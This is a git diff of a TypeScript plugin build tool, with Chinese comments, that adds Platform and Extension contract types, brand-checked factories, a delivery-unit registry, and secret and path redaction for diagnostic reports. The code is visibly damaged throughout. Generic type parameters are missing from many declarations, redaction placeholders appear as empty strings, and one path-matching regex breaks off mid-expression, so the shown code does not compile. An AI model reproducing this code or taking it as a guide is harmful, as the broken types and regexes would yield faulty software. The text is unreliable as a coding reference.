shape-compatible 对象绕过校验。 */ +const platformBrand: unique symbol = Symbol('acplugin.platform'); + +/** Extension 实例的运行时品牌;只由 defineExtension 写入。 */ +const extensionBrand: unique symbol = Symbol('acplugin.extension'); + +/** Platform ID 必须满足的小写 kebab-case 规则。 */ +const PLATFORM_ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** 同步值或 Promise 值组成的生命周期返回类型。 */ +export type Awaitable = T | Promise; + +/** 可确定性序列化的只读 JSON 值。 */ +export type JsonValue + = | null + | boolean + | number + | string + | readonly JsonValue[] + | { readonly [key: string]: JsonValue }; + +/** 可作为 Platform 专属 Component 字段根节点的只读 JSON 对象。 */ +export type JsonObject = { readonly [key: string]: JsonValue }; + +/** Document extension point 与 patch 使用的字段路径。 */ +export type DocumentFieldPath = readonly string[]; + +/** 开放的第三方 Platform 标识,不限制为内置平台联合类型。 */ +export type PlatformId = string & { readonly [platformIdBrand]: true }; + +/** Platform 主交付单元支持的安装形态。 */ +export type PlatformDeliveryType = 'plugin' | 'workspace' | 'package'; + +/** DeliveryUnit 在一次构建中的职责。 */ +export type DeliveryUnitRole = 'primary' | 'distribution'; + +/** 主交付与 Marketplace Distribution 可使用的单元类型。 */ +export type DeliveryUnitType = PlatformDeliveryType | 'marketplace'; + +/** Platform 拥有的结构化 Document 序列化格式。 */ +export type DocumentFormat = 'json' | 'yaml' | 'toml' | 'frontmatter'; + +/** Document 在主交付单元中的物化策略。 */ +export type DocumentEmission = 'required' | 'omit-if-empty'; + +/** 提供给只读生命周期的 Platform 身份快照。 */ +export interface PlatformDescription { + readonly id: PlatformId; + readonly apiVersion: typeof LIFECYCLE_API_VERSION; + readonly deliveryType: PlatformDeliveryType; + readonly strict: boolean; +} + +/** Adapter 可见的 Platform 身份,不暴露当前构建的严格度等配置策略。 */ +export type PlatformAdapterDescription = Omit; + +/** 提供给只读生命周期的 Extension 身份快照。 */ +export interface ExtensionDescription { + readonly name: string; + readonly apiVersion: typeof LIFECYCLE_API_VERSION; +} + +/** Platform 在序列化前拥有并通过逻辑 ID 暴露的只读 Document。 */ +export interface DraftDocument { + readonly id: string; + readonly path: string; + readonly format: DocumentFormat; + readonly owner: `platform:${string}`; + readonly value: Readonly; + /** required 默认必须序列化;omit-if-empty 只允许省略空对象。 */ + readonly emission?: DocumentEmission; + readonly extensionPoints: readonly DocumentFieldPath[]; +} + +/** Platform prepare 阶段提交给 Core 接管的初始 Draft。 */ +export interface PlatformDraftInput { + readonly documents: readonly DraftDocument[]; + readonly artifacts: readonly ArtifactInput[]; +} + +/** Platform 请求 Core 物化并验证的交付单元输入。 */ +export interface DeliveryUnitInput { + readonly id: string; + readonly role: DeliveryUnitRole; + readonly type: DeliveryUnitType; + readonly artifacts: readonly ArtifactInput[]; +} + +/** Core 完成 owner、hash、mode 与 size 校验后的不可变交付单元。 */ +export interface DeliveryUnit { + readonly id: string; + readonly platform: PlatformId; + readonly role: DeliveryUnitRole; + readonly type: DeliveryUnitType; + readonly artifacts: readonly Artifact[]; +} + +/** Extension 只能在 Platform 声明的 extension point 新增字段的 patch。 */ +export interface DocumentAddPatch { + readonly document: string; + readonly path: DocumentFieldPath; + readonly value: JsonValue; +} + +/** 生命周期 Hook 可提交、由后续 Collector 统一清理的结构化诊断输入。 */ +export interface DiagnosticInput { + readonly code: string; + readonly severity: 'error' | 'warning'; + readonly message: string; + readonly phase?: string; + readonly location?: { readonly path: string; readonly line?: number; readonly column?: number }; + readonly fieldPath?: readonly (string | number)[]; + readonly hint?: string; +} + +/** Platform 或 Adapter 可提交、由当前 Platform 自动附加身份的兼容性输入。 */ +export interface CompatibilityInput { + readonly subject: string; + readonly capability: string; + readonly level: CompatibilityLevel; + readonly transformation?: string; + readonly reason: string; + readonly causes?: readonly string[]; +} + +/** Platform 提交统一元数据字段最终去向时不需要重复提供自身身份。 */ +export interface MetadataDispositionInput { + readonly field: string; + readonly disposition: MetadataDisposition; + readonly output?: string; + readonly reason: string; +} + +/** 所有生命周期 Context 都携带的稳定命令、模式和诊断出口。 */ +export interface LifecycleContext { + readonly command: BuildCommand; + readonly mode: BuildMode; + readonly reportDiagnostic: (diagnostic: DiagnosticInput) => void; +} + +/** configResolved 阶段可读取且不包含最终输出写入器的配置快照。 */ +export interface LifecycleConfigSnapshot { + readonly root: string; + readonly srcDir: string; + readonly metadata: PluginMetadata; + readonly strict: boolean; +} + +/** Platform 与 Extension configResolved Hook 使用的最小只读上下文。 */ +export interface ConfigResolvedContext extends LifecycleContext { + readonly config: LifecycleConfigSnapshot; + readonly platforms: readonly PlatformDescription[]; + readonly extensions: readonly ExtensionDescription[]; +} + +/** Platform 校验单个 Component 专属字段时可读取的稳定身份。 */ +export interface ComponentDescription { + readonly kind: ComponentKind; + readonly id: string; + readonly sourcePath: string; +} + +/** Scanner 调用 Platform 字段校验器时提供的只读上下文。 */ +export interface PlatformComponentValidationContext extends LifecycleContext { + readonly component: ComponentDescription; + readonly fields: Readonly; +} + +/** buildStart 阶段可读取的进程环境与当前对象独占工作目录。 */ +export interface BuildStartContext extends LifecycleContext { + readonly projectRoot: string; + readonly workDir: string; + readonly environment: Readonly>; +} + +/** Extension discover 阶段用于扫描自有作者格式的受限上下文。 */ +export interface ExtensionDiscoverContext extends LifecycleContext { + readonly srcDir: string; + readonly workDir: string; + readonly loadTypeScriptModule: TypeScriptModuleLoader; +} + +/** Extension validate 阶段读取规范工程的上下文。 */ +export interface ExtensionValidateContext extends LifecycleContext { + readonly project: PluginProject; +} + +/** Extension build 阶段生成横向 Built State 和临时文件的上下文。 */ +export interface ExtensionBuildContext extends LifecycleContext { + readonly project: PluginProject; + readonly workDir: string; + /** 登记本次构建实际读取的源码或依赖文件,使 dev 可以跟踪完整生成图。 */ + readonly addWatchFile: (file: string) => void; +} + +/** Platform prepare 阶段创建初始 Draft 所需的上下文。 */ +export interface PlatformPrepareContext extends LifecycleContext { + readonly project: PluginProject; + readonly options: Readonly>; + readonly workDir: string; + readonly reportCompatibility: (entry: CompatibilityInput) => void; + readonly reportMetadata: (entry: MetadataDispositionInput) => void; +} + +/** Platform generateBundle 阶段读取完成 Adapter 合并后 Draft 的上下文。 */ +export interface PlatformGenerateContext extends LifecycleContext { + readonly project: PluginProject; + readonly documents: readonly DraftDocument[]; + readonly artifacts: readonly ArtifactInput[]; + readonly workDir: string; + readonly reportCompatibility: (entry: CompatibilityInput) => void; +} + +/** Platform validateBundle 阶段只读访问的临时物化候选。 */ +export interface MaterializedCandidate { + readonly root: string; + readonly unit: DeliveryUnit; +} + +/** Platform 对主单元或 Distribution 执行最终校验的上下文。 */ +export interface PlatformValidateContext extends LifecycleContext { + readonly candidate: MaterializedCandidate; +} + +/** Platform 组合 Marketplace 等 Distribution 时使用的受限上下文。 */ +export interface PlatformDistributionContext extends LifecycleContext { + readonly project: PluginProject; + readonly options: Readonly>; + readonly workDir: string; +} + +/** buildEnd 可观察且不直接泄露任意异常对象的失败摘要。 */ +export interface BuildFailureSummary { + readonly name: string; + readonly message: string; +} + +/** 成功、诊断失败或异常后都传给已初始化对象的清理上下文。 */ +export interface BuildEndContext extends LifecycleContext { + readonly projectRoot: string; + readonly workDir: string; + readonly environment: Readonly>; + readonly status: 'success' | 'failed'; + readonly error?: BuildFailureSummary; +} + +/** Extension Adapter 能读取和增量修改的唯一 Platform Draft 边界。 */ +export interface PlatformAdapterContext extends LifecycleContext { + readonly platform: PlatformAdapterDescription; + readonly project: PluginProject; + readonly getDocument: (id: string) => Readonly | undefined; + readonly emitArtifact: (input: ArtifactInput) => void; + readonly patchDocument: (input: DocumentAddPatch) => void; + readonly reportCompatibility: (entry: CompatibilityInput) => void; +} + +/** Extension 为一个 Platform 提供横向能力落地方式的桥接契约。 */ +export interface ExtensionPlatformAdapter { + readonly extensionApiVersion: typeof LIFECYCLE_API_VERSION; + readonly platform: PlatformId; + readonly platformApiVersion: typeof LIFECYCLE_API_VERSION; + /** 把 Extension Built State 以 add-only 方式应用到当前 Platform Draft。 */ + apply(context: PlatformAdapterContext, built: Readonly): Awaitable; +} + +/** definePlatform 接受的不带私有品牌的第三方 Platform 定义。 */ +export interface PlatformDefinition { + readonly id: string | PlatformId; + readonly apiVersion: typeof LIFECYCLE_API_VERSION; + readonly deliveryType: PlatformDeliveryType; + readonly strict?: boolean; + readonly options?: JsonObject; + readonly validateComponentFields?: (context: PlatformComponentValidationContext) => Awaitable; + readonly configResolved?: (context: ConfigResolvedContext) => Awaitable; + readonly buildStart?: (context: BuildStartContext) => Awaitable; + readonly prepare: (context: PlatformPrepareContext) => Awaitable; + readonly generateBundle: (context: PlatformGenerateContext) => Awaitable; + readonly validateBundle: (context: PlatformValidateContext) => Awaitable; + readonly generateDistributions?: ( + context: PlatformDistributionContext, + primaryUnits: readonly DeliveryUnit[], + ) => Awaitable; + readonly buildEnd?: (context: BuildEndContext) => Awaitable; +} + +/** 只能由 definePlatform 生成并由 Core 接受的名义化 Platform 实例。 */ +export interface AcpluginPlatform extends Omit { + readonly id: PlatformId; + readonly [platformBrand]: true; +} + +/** defineExtension 接受的不带私有品牌的第三方横向扩展定义。 */ +export interface ExtensionDefinition { + readonly name: string; + readonly apiVersion: typeof LIFECYCLE_API_VERSION; + /** 观察完整配置身份但不读取源码或产物。 */ + configResolved?(context: ConfigResolvedContext): Awaitable; + /** 在资源发现前初始化当前 Extension 的隔离工作目录。 */ + buildStart?(context: BuildStartContext): Awaitable; + /** 扫描当前 Extension 独占的作者格式并返回阶段状态。 */ + discover?(context: ExtensionDiscoverContext): Awaitable; + /** 对发现状态和规范 PluginProject 执行只读验证。 */ + validate?(context: ExtensionValidateContext, discovered: Readonly): Awaitable; + /** 在独占临时目录生成平台中立 Built State。 */ + build?(context: ExtensionBuildContext, discovered: Readonly): Awaitable; + readonly adapters: readonly ExtensionPlatformAdapter[]; + /** 无论成功或失败都执行的最终逆序清理 Hook。 */ + buildEnd?(context: BuildEndContext): Awaitable; +} + +/** 只能由 defineExtension 生成并由 Core 接受的名义化 Extension 实例。 */ +export interface AcpluginExtension + extends ExtensionDefinition { + readonly [extensionBrand]: true; +} + +/** + * 把经过格式校验的开放字符串转换为 PlatformId 品牌。 + * + * @param value Platform 定义或 Adapter 引用提供的平台标识。 + * @returns 仅在当前模块内完成品牌转换的 PlatformId。 + */ +function toPlatformId(value: string): PlatformId { + if (!PLATFORM_ID_PATTERN.test(value)) + throw new TypeError(`Platform id "${value}" must use lowercase kebab-case.`); + return value as PlatformId; +} + +/** + * 验证未知值是否为当前 Core 工厂创建且 API 版本兼容的 Platform。 + * + * @param value 配置解析阶段收到的未知候选。 + * @returns 品牌、版本和基础字段都有效时返回 true。 + */ +export function isAcpluginPlatform(value: unknown): value is AcpluginPlatform { + if (typeof value !== 'object' || value === null) + return false; + /** 读取私有 Symbol 和公共字段所需的安全索引视图。 */ + const candidate = value as Record; + return candidate[platformBrand] === true + && candidate.apiVersion === LIFECYCLE_API_VERSION + && typeof candidate.id === 'string' + && PLATFORM_ID_PATTERN.test(candidate.id) + && (candidate.deliveryType === 'plugin' || candidate.deliveryType === 'workspace' || candidate.deliveryType === 'package') + && (candidate.strict === undefined || typeof candidate.strict === 'boolean') + && isJsonObject(candidate.options) + && (candidate.validateComponentFields === undefined || typeof candidate.validateComponentFields === 'function') + && typeof candidate.prepare === 'function' + && typeof candidate.generateBundle === 'function' + && typeof candidate.validateBundle === 'function'; +} + +/** + * 递归复制并冻结 Platform 专属 JSON 配置,避免配置文件随后修改生命周期输入。 + * + * @param value 尚未越过 Core 信任边界的配置值。 + * @param seen 当前递归路径上的对象,用于拒绝循环引用。 + * @returns 只包含 JSON 值的不可变副本。 + */ +function normalizeJsonValue(value: unknown, seen: Set): JsonValue { + if (value === null || typeof value === 'string' || typeof value === 'boolean') + return value; + if (typeof value === 'number') { + if (!Number.isFinite(value)) + throw new TypeError('Platform options must contain only finite JSON numbers.'); + return value; + } + if (typeof value !== 'object') + throw new TypeError('Platform options must contain only JSON values.'); + if (seen.has(value)) + throw new TypeError('Platform options must not contain circular references.'); + seen.add(value); + if (Array.isArray(value)) { + /** 数组元素保持声明顺序,但每一项都转换为独立不可变副本。 */ + const result = Object.freeze(value.map(item => normalizeJsonValue(item, seen))); + seen.delete(value); + return result; + } + /** 只接受普通对象,避免类实例通过 getter 或原型行为进入生命周期。 */ + const prototype = Object.getPrototypeOf(value); + if (prototype !== Object.prototype && prototype !== null) + throw new TypeError('Platform options must use plain JSON objects.'); + /** 对象字段保持配置作者的值语义,Core 只提供冻结快照。 */ + const result: Record = {}; + for (const [key, child] of Object.entries(value)) + result[key] = normalizeJsonValue(child, seen); + seen.delete(value); + return Object.freeze(result); +} + +/** + * 判断未知值能否作为 Platform options 根对象。 + * + * @param value Platform 实例携带的未知配置。 + * @returns 值能够安全规范化为 JSON 对象时返回 true。 + */ +function isJsonObject(value: unknown): boolean { + if (value === undefined) + return true; + if (typeof value !== 'object' || value === null || Array.isArray(value)) + return false; + try { + normalizeJsonValue(value, new Set()); + return true; + } catch { + return false; + } +} + +/** + * 规范化 Platform options 根节点,并明确拒绝数组等非对象 JSON 值。 + * + * @param value Platform 定义声明的可选配置。 + * @returns 深度冻结的普通 JSON 对象。 + */ +function normalizePlatformOptions(value: unknown): JsonObject { + if (value === undefined) + return Object.freeze({}); + if (typeof value !== 'object' || value === null || Array.isArray(value)) + throw new TypeError('Platform options must use a JSON object.'); + return normalizeJsonValue(value, new Set()) as JsonObject; +} + +/** + * 为第三方 Platform 注入不可伪造品牌,并在配置进入生命周期前校验版本和 ID。 + * + * @param definition 不带品牌的 Platform 生命周期实现。 + * @returns 冻结且可由 Core 品牌校验的 Platform 实例。 + */ +export function definePlatform( + definition: TDefinition, +): Readonly & AcpluginPlatform { + if (definition.apiVersion !== LIFECYCLE_API_VERSION) + throw new TypeError(`Unsupported Platform API version "${String(definition.apiVersion)}".`); + /** 使用副本避免给配置作者持有的原对象追加内部状态。 */ + const platform = { + ...definition, + id: toPlatformId(definition.id), + options: normalizePlatformOptions(definition.options), + }; + Object.defineProperty(platform, platformBrand, { value: true, enumerable: false }); + return Object.freeze(platform) as Readonly & AcpluginPlatform; +} + +/** + * 验证未知值是否为当前 Core 工厂创建且 API 版本兼容的 Extension。 + * + * @param value 配置解析阶段收到的未知候选。 + * @returns 品牌、版本、名称和 Adapter 列表有效时返回 true。 + */ +export function isAcpluginExtension(value: unknown): value is AcpluginExtension { + if (typeof value !== 'object' || value === null) + return false; + /** 读取私有 Symbol 和公共字段所需的安全索引视图。 */ + const candidate = value as Record; + return candidate[extensionBrand] === true + && candidate.apiVersion === LIFECYCLE_API_VERSION + && typeof candidate.name === 'string' + && candidate.name.length > 0 + && Array.isArray(candidate.adapters); +} + +/** + * 验证并冻结 Extension 的一个 Platform Adapter。 + * + * @param adapter Extension 作者提供的 Adapter 定义。 + * @returns 使用规范 PlatformId 且不可变的 Adapter 副本。 + */ +function normalizeAdapter(adapter: ExtensionPlatformAdapter): ExtensionPlatformAdapter { + if (adapter.extensionApiVersion !== LIFECYCLE_API_VERSION) + throw new TypeError(`Unsupported Extension Adapter API version "${String(adapter.extensionApiVersion)}".`); + if (adapter.platformApiVersion !== LIFECYCLE_API_VERSION) + throw new TypeError(`Unsupported Platform Adapter API version "${String(adapter.platformApiVersion)}".`); + if (typeof adapter.apply !== 'function') + throw new TypeError('Extension Platform Adapter must provide apply().'); + return Object.freeze({ ...adapter, platform: toPlatformId(adapter.platform) }); +} + +/** + * 为第三方 Extension 注入不可伪造品牌,并拒绝版本错误或重复 Platform Adapter。 + * + * @param definition 不带品牌的 Extension 生命周期与 Adapter 定义。 + * @returns 冻结且可由 Core 品牌校验的 Extension 实例。 + */ +export function defineExtension( + definition: ExtensionDefinition, +): AcpluginExtension { + if (definition.apiVersion !== LIFECYCLE_API_VERSION) + throw new TypeError(`Unsupported Extension API version "${String(definition.apiVersion)}".`); + if (definition.name.trim().length === 0) + throw new TypeError('Extension name must not be empty.'); + /** 冻结后的 Adapter 副本,确保生命周期中平台映射不会变化。 */ + const adapters = definition.adapters.map(normalizeAdapter); + /** 用于拒绝同一 Extension 内部两个 Adapter 隐式覆盖同一 Platform。 */ + const platforms = new Set(); + for (const adapter of adapters) { + if (platforms.has(adapter.platform)) + throw new TypeError(`Extension "${definition.name}" has duplicate Adapter for Platform "${adapter.platform}".`); + platforms.add(adapter.platform); + } + /** 使用副本隔离配置作者持有的原始定义和 adapters 数组。 */ + const extension = { ...definition, adapters: Object.freeze(adapters) }; + Object.defineProperty(extension, extensionBrand, { value: true, enumerable: false }); + return Object.freeze(extension) as AcpluginExtension; +} diff --git a/packages/core/src/delivery-units.ts b/packages/core/src/delivery-units.ts new file mode 100644 index 0000000..5d69587 --- /dev/null +++ b/packages/core/src/delivery-units.ts @@ -0,0 +1,112 @@ +import { ArtifactRegistry, type ArtifactSourcePolicies } from './artifacts.js'; +import { normalizeOutputPath } from './output-paths.js'; +import type { DeliveryUnit, DeliveryUnitInput, PlatformId } from './contracts.js'; +import type { Artifact } from './types.js'; + +/** DeliveryUnit ID 使用的小写 kebab-case 规则。 */ +const DELIVERY_UNIT_ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** 管理一次构建中所有 Platform 主单元与 Distribution 的全局唯一性。 */ +export class DeliveryUnitRegistry { + /** 文件型 Artifact 按 Platform、Extension 与 Public owner 隔离的来源授权。 */ + readonly #sourcePolicies: ArtifactSourcePolicies; + /** 以 `(platform, unit-id)` 稳定键索引的不可变单元。 */ + readonly #units = new Map(); + + /** + * 创建全局 DeliveryUnit Registry。 + * + * @param sourcePolicies 所有单元共同使用但按 owner 隔离的 Artifact 来源授权。 + */ + constructor(sourcePolicies: ArtifactSourcePolicies) { + this.#sourcePolicies = sourcePolicies; + } + + /** + * 生成不会因连字符或其他字符产生歧义的单元唯一键。 + * + * @param platform Platform ID。 + * @param id Platform 内 DeliveryUnit ID。 + * @returns JSON tuple 形式的稳定键。 + */ + #key(platform: PlatformId, id: string): string { + return JSON.stringify([platform, id]); + } + + /** + * 校验、物化元数据并加入一个交付单元。 + * + * @param platform 创建该单元的品牌化 Platform ID。 + * @param input Platform 返回的单元输入。 + * @param inheritedArtifacts Draft 中已经确定 owner 的 Public/Extension Artifact。 + * @returns owner、hash、size 与 mode 完整的不可变 DeliveryUnit。 + */ + async add( + platform: PlatformId, + input: DeliveryUnitInput, + inheritedArtifacts: readonly Artifact[] = [], + ): Promise { + if (!DELIVERY_UNIT_ID_PATTERN.test(input.id)) + throw new Error(`DeliveryUnit id "${input.id}" must use lowercase kebab-case.`); + if (input.role === 'primary' && input.type === 'marketplace') + throw new Error('A primary DeliveryUnit cannot use marketplace type.'); + if (input.role === 'distribution' && input.type !== 'marketplace') + throw new Error('A distribution DeliveryUnit must use marketplace type.'); + /** 当前 Platform 内单元的全局唯一键。 */ + const key = this.#key(platform, input.id); + if (this.#units.has(key)) + throw new Error(`Duplicate DeliveryUnit "${platform}/${input.id}".`); + /** 单元内独占的 Artifact Registry,路径不会跨单元误判冲突。 */ + const artifacts = new ArtifactRegistry(this.#sourcePolicies); + /** Platform 是最终序列化产物的固定 owner。 */ + const owner = `platform:${platform}`; + /** Draft 既有 Artifact 的规范路径到原始 owner 映射。 */ + const inheritedByPath = new Map(inheritedArtifacts.map(artifact => [artifact.path, artifact])); + /** + * Distribution 可以把已经验证的主单元整体移动到自己的子目录,因此除了目标路径, + * 还要按 Core 冻结的 source 对象身份识别继承关系。只有调用方显式放入 + * inheritedArtifacts 的来源才能命中,Platform 不能借此取得其他 owner 的授权。 + */ + const inheritedBySource = new Map(inheritedArtifacts.map(artifact => [artifact.source, artifact])); + for (const artifact of input.artifacts) { + /** Platform 透传 Draft Artifact 时保留 Public 或 Extension owner。 */ + const inherited = inheritedByPath.get(normalizeOutputPath(artifact.path)) + ?? inheritedBySource.get(artifact.source); + /** 未继承的序列化文件由 Platform 自己拥有。 */ + const artifactOwner = inherited?.owner ?? owner; + /** 重新计算输入内容,不能信任 Platform 透传的旧 hash 字段。 */ + const added = await artifacts.add(artifactOwner, artifact); + if (inherited && (added.size !== inherited.size || added.sha256 !== inherited.sha256 || added.mode !== inherited.mode)) + throw new Error(`Platform changed inherited Artifact "${added.path}" owned by "${inherited.owner}".`); + } + /** 完成单元内全部路径校验后才加入全局 Registry。 */ + const unit: DeliveryUnit = Object.freeze({ + id: input.id, + platform, + role: input.role, + type: input.type, + artifacts: artifacts.artifacts, + }); + this.#units.set(key, unit); + return unit; + } + + /** @returns 按 Platform 与单元 ID 稳定排序的不可变单元快照。 */ + snapshot(): readonly DeliveryUnit[] { + return Object.freeze([...this.#units.values()].sort((left, right) => + left.platform.localeCompare(right.platform, 'en') + || left.id.localeCompare(right.id, 'en'))); + } + + /** + * 丢弃某个 Platform 在候选验证失败前暂存的全部单元。 + * + * @param platform 需要回滚局部生成状态的 Platform ID。 + */ + removePlatform(platform: PlatformId): void { + for (const [key, unit] of this.#units) { + if (unit.platform === platform) + this.#units.delete(key); + } + } +} diff --git a/packages/core/src/diagnostics.ts b/packages/core/src/diagnostics.ts index eec6adc..2cd1e26 100644 --- a/packages/core/src/diagnostics.ts +++ b/packages/core/src/diagnostics.ts @@ -1,31 +1,148 @@ -import type { CompatibilityEntry, Diagnostic, DiagnosticCollectorLike, ResolvedTarget } from './types.js'; +import type { + CompatibilityEntry, + Diagnostic, + DiagnosticCollectorLike, + MetadataDispositionEntry, +} from './types.js'; +import type { PlatformId } from './contracts.js'; + +/** 兼容性等级从完整保留到完全不支持的稳定排序权重。 */ +const COMPATIBILITY_RANK = { + native: 0, + transform: 1, + degraded: 2, + unsupported: 3, +} as const; + +/** 应按凭据处理、不能保留原值的对象字段名。 */ +const SECRET_KEY_PATTERN = /(?:authorization|credential|password|secret|token|api[_-]?key|cookie)/i; + +/** 报告深度脱敏时可额外提供的工程边界和环境快照。 */ +export interface ReportRedactionOptions { + readonly roots?: readonly string[]; + readonly environment?: Readonly>; +} + +/** 描述一个 Component Subject 对其他 Subject 的依赖边。 */ +export interface CompatibilityDependency { + readonly subject: string; + readonly dependsOn: readonly string[]; +} + +/** + * 对可选字符串执行稳定的英文区域排序比较。 + * + * @param a 左侧可选字符串。 + * @param b 右侧可选字符串。 + * @returns 与 Array.sort 约定一致的比较结果。 + */ +function compareStrings(a: string | undefined, b: string | undefined): number { + return (a ?? '').localeCompare(b ?? '', 'en'); +} /** - * 清理即将写入诊断和兼容性报告的自由文本,避免泄露凭据与本机绝对路径。 + * 收集需要从自由文本中移除的非空环境值,并优先替换较长值。 * - * @param value Compiler、Module 或底层异常提供的原始文本。 + * @param environment 调用方显式提供的环境快照。 + * @returns 已去重、从长到短排列且不会误伤极短普通文本的环境值。 + */ +function environmentValues(environment: Readonly> | undefined): string[] { + /** 未提供环境时不猜测调用方边界,最终 serializer 会传入受保护的进程环境。 */ + const source = environment ?? {}; + return [...new Set(Object.values(source).filter((value): value is string => typeof value === 'string' && value.length >= 4))] + .sort((a, b) => b.length - a.length || compareStrings(a, b)); +} + +/** + * 清理即将写入诊断和报告的自由文本,避免泄露凭据、环境值与本机路径。 + * + * @param value Platform、Extension 或底层异常提供的原始文本。 + * @param options 可选的工程根和环境快照。 * @returns 去除敏感内容和控制空白后的单行文本。 */ -export function sanitizeReportText(value: string): string { - return value +export function sanitizeReportText(value: string, options: ReportRedactionOptions = {}): string { + /** 先清理通用凭据形式和 acplugin 临时目录名称的中间文本。 */ + let safe = value .replace(/\b(?:Bearer|Basic)\s+[^\s,;]+/gi, '') .replace(/\b(?:token|secret|password|api[_-]?key)\s*[=:]\s*[^\s,;]+/gi, '') - .replace(/(?:[A-Za-z]:[\\/]|\/)(?:[^\s"'`:,]|:(?!\/\/))+/g, '') + .replace(/\.acplugin-(?:work|stage|backup|transaction|lock)-[^\s/\\]+/gi, ''); + for (const root of [...(options.roots ?? [])].sort((a, b) => b.length - a.length)) { + if (root.length > 0) + safe = safe.split(root).join(''); + } + for (const environmentValue of environmentValues(options.environment)) + safe = safe.split(environmentValue).join(''); + return safe + // 仅在字符串开头或非路径字符边界识别绝对路径,不能破坏 `assets/icon.png` 等协议相对路径。 + .replace(/(?') .replace(/[\r\n\t]+/g, ' ') .trim(); } +/** + * 递归清理任意未知值,阻止配置对象、函数、字节和循环引用进入 JSON 报告。 + * + * @param value 尚未建立报告信任边界的任意值。 + * @param options 路径和环境值脱敏选项。 + * @param seen 当前递归路径已经访问的对象集合。 + * @returns 只包含安全 JSON 形态或稳定占位符的值。 + */ +export function redactReportValue( + value: unknown, + options: ReportRedactionOptions = {}, + seen: WeakSet = new WeakSet(), +): unknown { + if (typeof value === 'string') + return sanitizeReportText(value, options); + if (value === null || typeof value === 'boolean') + return value; + if (typeof value === 'number') + return Number.isFinite(value) ? value : ''; + if (typeof value === 'undefined' || typeof value === 'function' || typeof value === 'symbol' || typeof value === 'bigint') + return ''; + if (value instanceof Uint8Array) + return ''; + if (seen.has(value)) + return ''; + seen.add(value); + if (Array.isArray(value)) { + /** 数组顺序属于报告语义,仅递归清理其元素。 */ + const result = value.map(item => redactReportValue(item, options, seen)); + seen.delete(value); + return result; + } + /** 只允许普通对象进入报告,类实例、Map 和其他行为对象统一隐藏。 */ + const prototype = Object.getPrototypeOf(value); + if (prototype !== Object.prototype && prototype !== null) { + seen.delete(value); + return ''; + } + /** 按原字段建立安全副本;最终 JSON serializer 会进一步稳定键顺序。 */ + const result: Record = {}; + for (const [key, child] of Object.entries(value)) { + result[key] = SECRET_KEY_PATTERN.test(key) + ? '' + : redactReportValue(child, options, seen); + } + seen.delete(value); + return result; +} + /** * 复制源码位置并隐藏绝对路径,同时保留安全的工程相对路径。 * * @param location 原始源码位置。 + * @param options 路径和环境值脱敏选项。 * @returns 可安全写入构建报告的位置;未提供位置时返回 undefined。 */ -function safeLocation(location: import('./types.js').SourceLocation | undefined): import('./types.js').SourceLocation | undefined { +function safeLocation( + location: import('./types.js').SourceLocation | undefined, + options: ReportRedactionOptions = {}, +): import('./types.js').SourceLocation | undefined { if (!location) return undefined; /** 对外报告使用的路径,绝对路径统一替换为占位符。 */ - const safePath = /^(?:[A-Za-z]:[\\/]|\/)/.test(location.path) ? '' : location.path; + const safePath = /^(?:[A-Za-z]:[\\/]|\/)/.test(location.path) ? '' : sanitizeReportText(location.path, options); return { ...location, path: safePath }; } @@ -33,44 +150,40 @@ function safeLocation(location: import('./types.js').SourceLocation | undefined) * 对单条诊断执行完整的报告安全处理,并修正不符合规范的诊断码。 * * @param diagnostic 尚未进入 Collector 的诊断。 + * @param options 路径和环境值脱敏选项。 * @returns 可安全持久化和展示的诊断副本。 */ -function safeDiagnostic(diagnostic: Diagnostic): Diagnostic { +function safeDiagnostic(diagnostic: Diagnostic, options: ReportRedactionOptions = {}): Diagnostic { return { ...diagnostic, code: /^[A-Z][A-Z0-9_]*$/.test(diagnostic.code) ? diagnostic.code : 'DIAGNOSTIC_CODE_INVALID', - message: sanitizeReportText(diagnostic.message), - phase: sanitizeReportText(diagnostic.phase), - ...(diagnostic.module === undefined ? {} : { module: sanitizeReportText(diagnostic.module) }), - ...(diagnostic.component === undefined ? {} : { component: { ...diagnostic.component, id: sanitizeReportText(diagnostic.component.id) } }), - ...(diagnostic.fieldPath === undefined ? {} : { fieldPath: diagnostic.fieldPath.map(field => typeof field === 'string' ? sanitizeReportText(field) : field) }), - ...(diagnostic.hint === undefined ? {} : { hint: sanitizeReportText(diagnostic.hint) }), - ...(diagnostic.location === undefined ? {} : { location: safeLocation(diagnostic.location)! }), - ...(diagnostic.related === undefined ? {} : { related: diagnostic.related.map(location => safeLocation(location)!) }), + message: sanitizeReportText(diagnostic.message, options), + phase: sanitizeReportText(diagnostic.phase, options), + ...(diagnostic.extension === undefined ? {} : { extension: sanitizeReportText(diagnostic.extension, options) }), + ...(diagnostic.owner === undefined ? {} : { owner: sanitizeReportText(diagnostic.owner, options) }), + ...(diagnostic.component === undefined ? {} : { component: { ...diagnostic.component, id: sanitizeReportText(diagnostic.component.id, options) } }), + ...(diagnostic.fieldPath === undefined ? {} : { fieldPath: diagnostic.fieldPath.map(field => typeof field === 'string' ? sanitizeReportText(field, options) : field) }), + ...(diagnostic.hint === undefined ? {} : { hint: sanitizeReportText(diagnostic.hint, options) }), + ...(diagnostic.location === undefined ? {} : { location: safeLocation(diagnostic.location, options)! }), + ...(diagnostic.related === undefined ? {} : { related: diagnostic.related.map(location => safeLocation(location, options)!) }), }; } /** - * 对可选字符串执行稳定的英文区域排序比较。 - * - * @param a 左侧可选字符串。 - * @param b 右侧可选字符串。 - * @returns 与 Array.sort 约定一致的比较结果。 - */ -function compareStrings(a: string | undefined, b: string | undefined): number { - return (a ?? '').localeCompare(b ?? '', 'en'); -} - -/** - * 按目标、Module、源码位置和内容对诊断进行确定性排序。 + * 按 Platform、Extension、Owner、源码位置和内容对诊断进行确定性排序。 * * @param diagnostics 任意收集顺序的诊断列表。 + * @param options 路径和环境值脱敏选项。 * @returns 不修改输入的稳定排序副本。 */ -export function sortDiagnostics(diagnostics: readonly Diagnostic[]): Diagnostic[] { - return [...diagnostics].sort((a, b) => - compareStrings(a.target, b.target) - || compareStrings(a.module, b.module) +export function sortDiagnostics( + diagnostics: readonly Diagnostic[], + options: ReportRedactionOptions = {}, +): Diagnostic[] { + return diagnostics.map(diagnostic => safeDiagnostic(diagnostic, options)).sort((a, b) => + compareStrings(a.platform, b.platform) + || compareStrings(a.extension, b.extension) + || compareStrings(a.owner, b.owner) || compareStrings(a.location?.path, b.location?.path) || (a.location?.line ?? 0) - (b.location?.line ?? 0) || (a.location?.column ?? 0) - (b.location?.column ?? 0) @@ -79,47 